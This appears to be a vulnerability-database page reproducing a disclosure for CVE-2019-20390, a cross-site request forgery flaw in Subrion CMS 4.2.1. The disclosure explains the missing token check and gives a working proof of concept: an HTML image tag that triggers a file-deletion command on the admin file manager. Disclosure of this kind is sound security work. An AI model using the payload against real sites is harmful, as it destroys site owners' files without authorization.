Subrion CMS 4.2.1 Cross Site Request Forgery
🗓️ 14 May 2020 00:00:00Reported by Christian BortoneType 
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| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | CVE-2019-20390 | 15 May 202022:34 | – | circl |
 | Subrion CMS Cross-Site Request Forgery Vulnerability (CNVD-2020-32357) | 18 May 202000:00 | – | cnvd |
 | CVE-2019-20390 | 15 May 202017:07 | – | cve |
 | CVE-2019-20390 | 15 May 202017:07 | – | cvelist |
 | EUVD-2022-3510 | 3 Oct 202520:07 | – | euvd |
 | Subrion CMS Cross-Site Request Forgery (CSRF) vulnerability | 24 May 202217:17 | – | github |
 | CVE-2019-20390 | 15 May 202018:15 | – | nvd |
 | GHSA-C4WX-3X5Q-HF4W Subrion CMS Cross-Site Request Forgery (CSRF) vulnerability | 24 May 202217:17 | – | osv |
 | Cross site request forgery (csrf) | 15 May 202018:15 | – | prion |
 | CVE-2019-20390: Cross-Site Request Forgery (CSRF) | 15 May 202000:00 | – | rapid7 |
10
`# Title: Subrion CMS 4.2.1 Cross-Site Request Forgery vulnerability (CSRF)
# Date: 01-12-2019
# Author: Christian Bortone
# Contact: [email protected]
# Vendor Homepage: https://subrion.org/
# Vulnerable Product: Subrion CMS 4.2.1
# CVE : CVE-2019-20390
1. Description:
A Cross-Site Request Forgery (CSRF) vulnerability is discovered in Subrion CMS 4.2.1 which allows a remote attacker to remove files on the server without victim's knowledge by enticing authenticated user to visit attacker page/URL. The application failed to validate CSRF token on the GET request. An attacker can craft an URL (removing the token) and send to the victim.
2. Proof of Concept
<!-- Cancel file test.txt (l1_ci90ZXN0LnR4dA) from directory rm. -->
<html>
<img src="http://localhost/subrion/panel/uploads/read.json?cmd=rm&targets[]=l1_ci90ZXN0LnR4dA" />
</html>
`
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14 May 2020 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.00675